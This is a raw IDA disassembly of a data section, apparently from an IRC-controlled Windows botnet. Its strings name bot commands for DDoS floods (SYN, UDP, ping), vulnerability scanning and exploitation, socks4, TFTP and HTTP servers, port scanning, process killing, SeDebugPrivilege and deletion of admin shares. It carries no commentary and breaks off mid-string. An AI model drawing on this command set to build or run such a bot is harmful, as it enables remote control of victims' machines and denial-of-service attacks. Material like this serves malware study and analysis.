aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CE55+13A6o align 10h aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CE55+1391o align 4 aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CE55+137Co align 10h aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CE55+1367o align 4 aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CE55+1352o align 4 aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CE55+133Do align 10h aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CE55+1328o align 10h aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CE55+1313o aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CE55+12FEo aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CE55+12E9o aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CE55+12D4o align 4 aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CE55+12BFo aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CE55+12AAo align 4 aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CE55+129Fo align 4 aScan db 'Scan',0 ; DATA XREF: sub_40CE55+129Ao align 4 aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CE55+1281o align 10h dword_435F40 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40CE55+1276o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CE55+1271o align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CE55+1258o align 4 dword_435F68 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40CE55+124Do aClone db 'Clone',0 ; DATA XREF: sub_40CE55+1248o align 10h aClone_off db 'clone.off',0 ; DATA XREF: sub_40CE55+122Fo align 4 aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CE55+121Ao align 4 aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CE55+1205o align 4 aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CE55+11F0o align 4 aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CE55+11DBo align 4 dword_435FC8 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CE55+11D0o aServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CE55+11B2o dword_435FE4 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CE55+11A7o dword_435FF0 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+11A2o dword_435FFC dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40CE55+1189o dword_43600C dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CE55+117Eo dword_436018 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1179o dword_436024 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+1160o dword_436034 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CE55+1155o dword_436040 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CE55+1150o dword_43604C dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+1137o dword_43605C dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CE55+112Co dword_436068 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CE55+1127o dword_436074 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40CE55+110Eo dword_436080 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CE55+1103o dword_436090 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40CE55+10FEo aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CE55+10E5o dword_4360B4 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CE55+10DAo dword_4360C0 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40CE55+10D5o dword_4360CC dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40CE55+10BCo dword_4360D4 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CE55+10B4o dword_4360E0 dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CE55+1096o dword_4360F0 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40CE55+108Eo aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CE55+1070o align 4 dword_436114 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40CE55+104Eo aServer db 'Server',0 ; DATA XREF: sub_40CE55+1049o ; sub_40CE55+1089o ... align 4 aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CE55+1030o align 10h aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CE55+101Bo align 10h aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CE55+1006o align 4 aLd_off db 'ld.off',0 ; DATA XREF: sub_40CE55+FF1o align 4 aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CE55+FDCo align 4 aLd_on db 'ld.on',0 ; DATA XREF: sub_40CE55+FC7o align 4 aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CE55+FB2o aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CE55+F9Do aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CE55+F88o aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CE55+F73o align 4 aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CE55+F5Eo align 4 aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CE55+F49o align 10h aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CE55+F34o aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CE55+F1Fo align 4 aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CE55+F07o a63 db '63',0 ; DATA XREF: sub_40CE55+DE0o align 4 asc_4361E4: ; DATA XREF: sub_40CE55+DB8o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_40CE55+D7Bo align 10h aServer_2 db '$server',0 ; DATA XREF: sub_40CE55+D70o aRndnick db '$rndnick',0 ; DATA XREF: sub_40CE55+D5Fo align 4 aChan db '$chan',0 ; DATA XREF: sub_40CE55+D43o align 4 aUser_2 db '$user',0 ; DATA XREF: sub_40CE55+D32o align 4 aMe_0 db '$me',0 ; DATA XREF: sub_40CE55+D20o aD_0 db '$%d',0 ; DATA XREF: sub_40CE55+CB2o aD_1 db '$%d-',0 ; DATA XREF: sub_40CE55+BF7o align 4 aHi_0 db 'hi',0 ; DATA XREF: sub_40CE55+B1Fo align 4 aNewshit db 'newshit',0 ; DATA XREF: sub_40CE55+B07o dword_436230 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+AD5o dd 2029206Ch, 2BBBB02h aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0 dword_436274 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+AC7o dd 2029206Ch, 2BBBB02h aChatAlreadyAct db ' Chat already active with user: %s.',0 align 4 dword_4362B8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+AB9o dd 2029206Ch, 2BBBB02h aFailedToSta_26 db ' Failed to start chat thread, error: <%d>.',0 dword_436300 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+A4Ao dd 2029206Ch, 2BBBB02h aChatFromUserS_ db ' Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_40CE55+9B3o align 4 dword_43633C dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+996o dd 2029206Ch, 2BBBB02h aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 dword_436390 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+978o ; sub_40CE55+4733o dd 2029206Ch, 2BBBB02h aFailedToSta_27 db ' Failed to start transfer thread, error: <%d>.',0 dword_4363DC dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_40CE55+967o dd 0A0Dh dword_4363F4 dd 4E495001h, 47h ; DATA XREF: sub_40CE55+933o aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CE55+8EDo align 4 dword_436418 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_40CE55+8D3o dd 0D017325h, 0Ah dword_436434 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40CE55+8A2o dword_436440 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh ; DATA XREF: sub_40CE55+788o dd 2029206Ch, 2BBBB02h aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0 aSend_0 db 'SEND',0 ; DATA XREF: sub_40CE55+6E5o align 4 dword_436488 dd 43434401h, 0 ; DATA XREF: sub_40CE55+6C7o dword_436490 dd 323333h ; DATA XREF: sub_40CE55+64Eo ; sub_40CE55+B41o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_40CE55+62Co ; sub_412D4C+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CE55+620o ; sub_412D4C+16o dword_4364A4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5CFo dd 2029206Ch, 2BBBB02h aUserSLoggedOut db ' User: %s logged out.',0 align 4 dword_4364D8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+5A8o dd 2029206Ch, 2BBBB02h aJoinedChanne_0 db ' Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_40CE55+571o aPart db 'PART',0 ; DATA XREF: sub_40CE55+523o ; sub_40CE55+5ECo align 4 aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CE55+4FBo align 10h aNick db 'NICK',0 ; DATA XREF: sub_40CE55+3CDo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+36Eo ; sub_40CE55+610o dword_436538 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh ; DATA XREF: sub_40CE55+355o ; sub_40CE55+5A5Do ... dd 2029206Ch, 2BBBB02h aUserSLoggedO_0 db ' User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_40CE55+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+28Do ; sub_40CE55+4AEBo ... align 10h a433 db '433',0 ; DATA XREF: sub_40CE55+265o a302 db '302',0 ; DATA XREF: sub_40CE55+22Ao aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1E4o ; sub_40CE55+3B4o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CE55+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_40CE55+1A9o align 4 asc_4365AC db ' :',0 ; DATA XREF: sub_40CE55+86o ; sub_40CE55:loc_40D9EEo align 10h dword_4365B0 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412B98+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4365FC dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_412B98+E3o ; --------------------------------------------------------------------------- loc_436618: ; DATA XREF: sub_412B98+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_43662C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_412B98+13Fo dword_436640 dd 25207325h, 253A2073h, 0A0D73h, 0 ; DATA XREF: sub_412D4C+58o off_436650 dd offset aAdd ; DATA XREF: sub_412DE7+6Dr ; sub_4131CB+50r ... ; "Add" off_436654 dd offset aAdded ; DATA XREF: sub_412DE7+2Dr ; sub_4131CB+82r ... ; "Added" dword_436658 dd 0 ; DATA XREF: sub_412DE7+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_0 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 4366C4h, 4366BCh, 2, 4366B0h, 4366A4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .nsp0:00436684o aStop_0 db 'Stop',0 ; DATA XREF: .nsp0:00436680o align 4 aStarted db 'Started',0 ; DATA XREF: .nsp0:00436678o aStart_0 db 'Start',0 ; DATA XREF: .nsp0:00436674o align 4 aListed db 'Listed',0 ; DATA XREF: .nsp0:0043666Co align 4 aList_0 db 'List',0 ; DATA XREF: .nsp0:00436668o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .nsp0:00436660o aDelete_0 db 'Delete',0 ; DATA XREF: .nsp0:0043665Co align 4 aAdded db 'Added',0 ; DATA XREF: .nsp0:off_436654o align 4 aAdd db 'Add',0 ; DATA XREF: .nsp0:off_436650o dword_436718 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DE7+74o dd 2029206Ch, 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_436750 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DE7+55o dd 2029206Ch, 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_43678C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_412DE7+38o dd 2029206Ch, 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412F10+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412F10:loc_413028o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412F10:loc_413021o align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_412F10:loc_41301Ao db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_412F10:loc_413013o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_412F10:loc_41300Co db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_412F10:loc_413005o align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412F10:loc_412FFEo align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_412F10:loc_412FF7o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_412F10:loc_412FF0o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_412F10:loc_412FE9o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_412F10:loc_412FBEo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_412F10:loc_412FB7o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_412F10:loc_412FB0o db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_412F10:loc_412FA9o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412F10+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_412F10:loc_412F7Eo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_412F10:loc_412F74o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_412F10:loc_412F6Ao aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412F10:loc_412F60o align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_412F10:loc_412F56o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412F10:loc_412F4Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41308E+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41308E:loc_41315Ao aStarting db ' Starting',0 ; DATA XREF: sub_41308E:loc_413153o aStoping db ' Stoping',0 ; DATA XREF: sub_41308E:loc_41314Co aRunning_0 db ' Running',0 ; DATA XREF: sub_41308E:loc_413145o aContinuing db ' Continuing',0 ; DATA XREF: sub_41308E:loc_41313Eo aPausing db ' Pausing',0 ; DATA XREF: sub_41308E:loc_413137o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41308E:loc_413130o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_41308E+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41308E+25o align 4 dword_436CF4 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131CB+ABo dd 2029206Ch, 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_436D2C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131CB+89o dd 2029206Ch, 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 4 dword_436D5C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4131CB+57o dd 2029206Ch, 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4133C0+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4133C0+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4133C0+B5o dword_436DBC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4133C0+76o dd 2029206Ch, 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4133C0+26o align 10h dword_436E30 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134E1+B6o dd 2029206Ch, 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_436E6C dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134E1+94o dd 2029206Ch, 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_436EAC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4134E1+6Do dd 2029206Ch, 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 10h dword_436EE0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413627+394o dd 2029206Ch, 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_413627+36Ao align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_413627+33Fo align 10h aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_413627+317o aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_413627+2ECo align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_413627+2C4o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_413627+299o align 10h aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_413627+271o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_413627+246o align 10h aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_413627+21Eo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_413627+1F3o align 10h aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_413627+1CBo align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_413627+1A0o align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_413627+178o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_413627+14Do align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_413627+125o aUser_1 db 'User',0 ; DATA XREF: sub_413627:loc_413739o align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_413627+D4o aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_413627+ACo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_413627+81o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_413627+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_4139F5+14Fo align 4 dword_437098 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4139F5+F7o dd 2029206Ch, 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_5 db ' %S',0 ; DATA XREF: sub_4139F5+BEo align 10h dword_4370E0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_4139F5+7Ao dd 2029206Ch, 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_4139F5+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_413B75:loc_413C92o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_413B75:loc_413C8Bo align 10h aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_413B75:loc_413C84o align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_413B75:loc_413C7Do align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_413B75:loc_413C76o align 10h aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_413B75:loc_413C59o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_413B75:loc_413C52o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_413B75:loc_413C4Bo align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_413B75+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_413B75:loc_413C20o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_413B75:loc_413C19o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_413B75:loc_413C12o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_413B75:loc_413C08o align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_413B75+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_413B75:loc_413BE2o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_413B75:loc_413BD8o align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_413B75:loc_413BCEo align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_413B75:loc_413BC4o align 10h aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_413B75:loc_413BBAo align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_413B75+3Bo align 4 dword_4373FC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413CA9+ABo dd 2029206Ch, 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_437438 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh ; DATA XREF: sub_413CA9+81o dd 2029206Ch, 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_413DD2+120o align 10h aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_413DD2+5Ao ; sub_413DD2+19Eo align 4 dword_437494 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F83:loc_41400Ao dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListFai db ' Process list failed.',0 align 4 dword_4374CC dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F83+80o dd 1F641F6Dh, 2029206Ch, 2BBBB02h aProcessListCom db ' Process list completed.',0 align 4 dword_437508 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h ; DATA XREF: sub_413F83+19o dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h dd 72702067h, 7365636Fh, 3A736573h, 0 aConst db 'const',0 align 4 dd 0 dword_43754C dd 1 ; DATA XREF: sub_414433+7o off_437550 dd offset sub_4140C8 ; DATA XREF: sub_414433+49r aLetter db 'letter',0 align 10h dd 2, 414126h, 706D6F63h, 2 dup(0) dd 3, 414173h, 6E756F63h, 797274h, 0 dd 4, 414211h, 736Fh, 2 dup(0) dd 5, 414286h dword_4375A4 dd 69257325h, 0 ; DATA XREF: sub_4140C8+40o ; .nsp0:004141F2o ... byte_4375AC db 50h ; DATA XREF: .nsp0:00414195o ; .nsp0:004141A2r db 43h, 2 dup(0) dword_4375B0 dd 7C7325h ; DATA XREF: .nsp0:00414240o ; sub_414433+39o dword_4375B4 dd 5D73255Bh, 7Ch ; DATA XREF: .nsp0:0041434Ao dword_4375BC dd 334B32h ; DATA XREF: .nsp0:0041433Ao dword_4375C0 dd 5D64255Bh, 7325h ; DATA XREF: sub_414390+3Ao dword_4375C8 dd 5D4D5Bh ; DATA XREF: sub_414390+2Co ; sub_414390+57o unk_4375CC db 2 ; DATA XREF: sub_41449C+92o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aIpSPortDIsOp_0 db ' IP: %s Port: %d is open.',0 unk_437608 db 2 ; DATA XREF: sub_414569+41o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2Eh ; . db 6Dh, 1Fh, 64h db 1Fh db 6Ch, 20h, 29h db 20h db 2, 2 dup(0BBh) db 2 aScanningIpSPor db ' Scanning IP: %s, Port: %d.',0 align 4 off_437648 dd offset dword_437680 ; DATA XREF: sub_4146BA+1B3o ; sub_4149DE+17Ao align 10h dd offset dword_437678 align 8 off_437658 dd offset dword_437674 ; DATA XREF: sub_4149DE+1E3o dd offset dword_437670 dd offset dword_43766C dd offset dword_437668 dword_437668 dd 5C3A44h ; DATA XREF: sub_4146BA+217o ; .nsp0:00437664o dword_43766C dd 2444h ; DATA XREF: .nsp0:00437660o dword_437670 dd 5C3A43h ; DATA XREF: .nsp0:0043765Co dword_437674 dd 2443h ; DATA XREF: .nsp0:off_437658o dword_437678 dd 494D4441h, 244Eh ; DATA XREF: .nsp0:00437650o dword_437680 dd 24435049h, 0 ; DATA XREF: .nsp0:off_437648o unk_437688 db 2 ; DATA XREF: sub_4146BA+2E5o ; sub_4149DE+2D8o db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetapi32_dllCo db ' Netapi32.dll couldn',27h,'t be loaded.',0 align 4 unk_4376CC db 2 ; DATA XREF: sub_4146BA+2CFo db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNetworkSharesD db ' Network shares deleted.',0 align 4 unk_437708 db 2 ; DATA XREF: sub_4146BA:loc_41491Co db 65h, 2, 28h db 31h ; 1 db 2Eh, 30h, 62h db 29h ; ) db 20h, 28h, 20h db 73h ; s db 65h, 63h, 75h db 72h ; r db 65h, 2Eh, 6Dh db 1Fh db 64h, 1Fh, 6Ch db 20h db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToDelete db ' 